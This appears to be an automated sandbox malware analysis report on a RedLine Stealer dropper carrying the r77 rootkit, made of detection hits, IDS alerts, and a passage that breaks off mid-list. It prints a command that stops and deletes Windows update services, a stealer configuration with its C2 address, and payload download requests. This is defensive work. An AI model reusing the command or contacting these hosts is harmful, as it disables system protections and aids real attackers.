00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
75.2.updater.exe.1d03d2a0000.3.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.2.dllhost.exe.20dea620000.2.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x2cd7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.2.dllhost.exe.140000000.0.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x21987:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.2.dllhost.exe.20dea620000.2.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.0.dllhost.exe.140000000.4.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x1db87:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.0.dllhost.exe.140000000.6.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x1db87:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
4.2.ofg.exe.b20000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
73.2.dllhost.exe.20dea650000.3.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
75.2.updater.exe.1d03d210000.1.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.0.dllhost.exe.140000000.3.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x1db87:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.0.dllhost.exe.140000000.0.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x1db87:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
75.2.updater.exe.1d03d260000.2.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
43.0.GoogleUpdate.exe.a50000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
73.0.dllhost.exe.140000000.1.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x1db87:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
75.2.updater.exe.1d03d210000.1.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
75.2.updater.exe.1d03d2a0000.3.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.2.dllhost.exe.20dea650000.3.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
Click to see the 36 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

Author: Joe Security: Data: Command: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, CommandLine: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Google\brave.exe" , ParentImage: C:\Users\user\AppData\Local\Google\brave.exe, ParentProcessId: 5284, ParentProcessName: brave.exe, ProcessCommandLine: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, ProcessId: 2824, ProcessName: cmd.exe

Snort Signatures

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.5 - Destination IP: 79.137.204.112

Timestamp:	192.168.2.579.137.204.11249703802850286 11/27/22-04:36:39.150710
SID:	2850286
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.5 - Destination IP: 79.137.204.112

Timestamp:	192.168.2.579.137.204.11249703802850027 11/27/22-04:36:14.045251
SID:	2850027
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Agent.AETZ CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 172.66.43.60

Timestamp:	192.168.2.5172.66.43.60497104432039616 11/27/22-04:37:16.996891
SID:	2039616
Source Port:	49710
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 79.137.204.112 - Destination IP: 192.168.2.5

Timestamp:	79.137.204.112192.168.2.580497032850353 11/27/22-04:36:18.709988
SID:	2850353
Source Port:	80
Destination Port:	49703
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Avira: detection malicious, Label: HEUR/AGEN.1213193
Source: C:\Users\user\AppData\Local\Temp\E552.tmp	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen

Multi AV Scanner detection for submitted file

Source: setup.exe	ReversingLabs: Detection: 41%
Source: setup.exe	Virustotal: Detection: 37%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Google\brave.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Google\chrome.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Google\ofg.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\E552.tmp	ReversingLabs: Detection: 80%

Machine Learning detection for sample

Source: setup.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Joe Sandbox ML: detected

Source: 61.0.dialer.exe.7ff66ae10000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen
Source: 61.0.dialer.exe.7ff66ae10000.2.unpack	Avira: Label: TR/Dropper.MSIL.Gen
Source: 61.2.dialer.exe.7ff66ae10000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen

Source: 0.3.setup.exe.1eb0000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["79.137.204.112:80"], "Bot Id": "@Norka16", "Message": "Click Close to exit the program. Error code: 1142", "Authorization Header": "3fd68ba186faa3cfc903b8bd9928c0f8"}

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Windows\GoogleUpdate.exe

Unpacked PE file: 43.2.GoogleUpdate.exe.a50000.0.unpack

Source: setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.5:50046 version: TLS 1.2

Source:	Binary string: GoogleUpdate_unsigned.pdb source: GoogleUpdate.exe, 00000021.00000000.410594308.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 0000002B.00000000.422732889.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 00000040.00000000.489329248.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 00000047.00000000.533241341.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 0000004A.00000000.554149853.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe.9.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\Release\r77-x86.pdb source: ofg.exe, 00000004.00000002.598361262.0000000001670000.00000040.00001000.00020000.00000000.sdmp, ofg.exe, 0000000A.00000002.599267044.00000000013B0000.00000040.00001000.00020000.00000000.sdmp, ofg.exe, 0000000A.00000002.597429879.00000000010F0000.00000040.00000400.00020000.00000000.sdmp, chrome.exe, 00000020.00000002.595584460.0000000000BB0000.00000040.00000400.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629970290.00000000010F0000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb source: brave.exe, 00000003.00000002.477708666.000001455E3C2000.00000004.00000020.00020000.00000000.sdmp, E552.tmp.3.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb- source: brave.exe, 00000003.00000002.477708666.000001455E3C2000.00000004.00000020.00020000.00000000.sdmp, E552.tmp.3.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: dllhost.exe, 00000049.00000002.598194987.0000020DEA650000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000002.596818252.0000020DEA620000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000000.559652688.000000014001C000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000002.594389851.0000000140000000.00000040.00000001.00020000.00000000.sdmp, updater.exe, 0000004B.00000002.600391370.000001D03D210000.00000040.00000001.00020000.00000000.sdmp, updater.exe, 0000004B.00000002.607799213.000001D03D2A0000.00000040.00000001.00020000.00000000.sdmp, updater.exe, 0000004B.00000002.597332163.000001D03CFC0000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\Install.pdb source: brave.exe, 00000003.00000002.477708666.000001455E3C2000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000003D.00000002.473083326.00007FF66AE1D000.00000002.00000001.01000000.00000000.sdmp, dialer.exe, 0000003D.00000000.467469225.00007FF66AE1D000.00000002.00000001.01000000.00000000.sdmp, E552.tmp.3.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\InstallService64.pdb source: dllhost.exe, 00000049.00000000.554954701.0000000140000000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000002.594389851.0000000140000000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000000.553093619.0000000140000000.00000040.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F832530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F832530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F832530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov qword ptr [rsp+28h], 0000000000000000h	3_2_00007FF69F832530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F828100
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	3_2_00007FF69F82C000
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov rax, qword ptr [rcx]	3_2_00007FF69F825530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F832490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F832490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F832490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F832490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F832490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov qword ptr [rsp+28h], 0000000000000000h	3_2_00007FF69F832490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F8323A0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F8323A0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F8322E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F8322E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F8322E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	3_2_00007FF69F8322E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	3_2_00007FF69F8281D0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	3_2_00007FF69F82F1C0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2039616 ET TROJAN Win32/Agent.AETZ CnC Checkin 192.168.2.5:49710 -> 172.66.43.60:443
Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.5:49703 -> 79.137.204.112:80
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.5:49703 -> 79.137.204.112:80
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 79.137.204.112:80 -> 192.168.2.5:49703

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 79.137.204.112:80

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /aula/dmi1dfg7n.kjylug HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/ofg7d45fsdfgg312.sfhg HTTP/1.1Host: www.idpminic.org
Source: global traffic	HTTP traffic detected: GET /aula/f429fjd4uf84u.sdfh HTTP/1.1Host: www.idpminic.org

Source: Joe Sandbox View

ASN Name: PSKSET-ASRU PSKSET-ASRU

Source: Joe Sandbox View	IP Address: 79.137.204.112 79.137.204.112
Source: Joe Sandbox View	IP Address: 172.66.43.60 172.66.43.60

Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000014.00000003.440250269.000001D37840D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000003.425478438.000001D3783FE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000003.411276672.000001D3783E8000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.461252754.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.521689945.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.548460759.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.537335465.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.530085692.0000000001073000.00000004.00000020.00020000.00000000.sdmp, 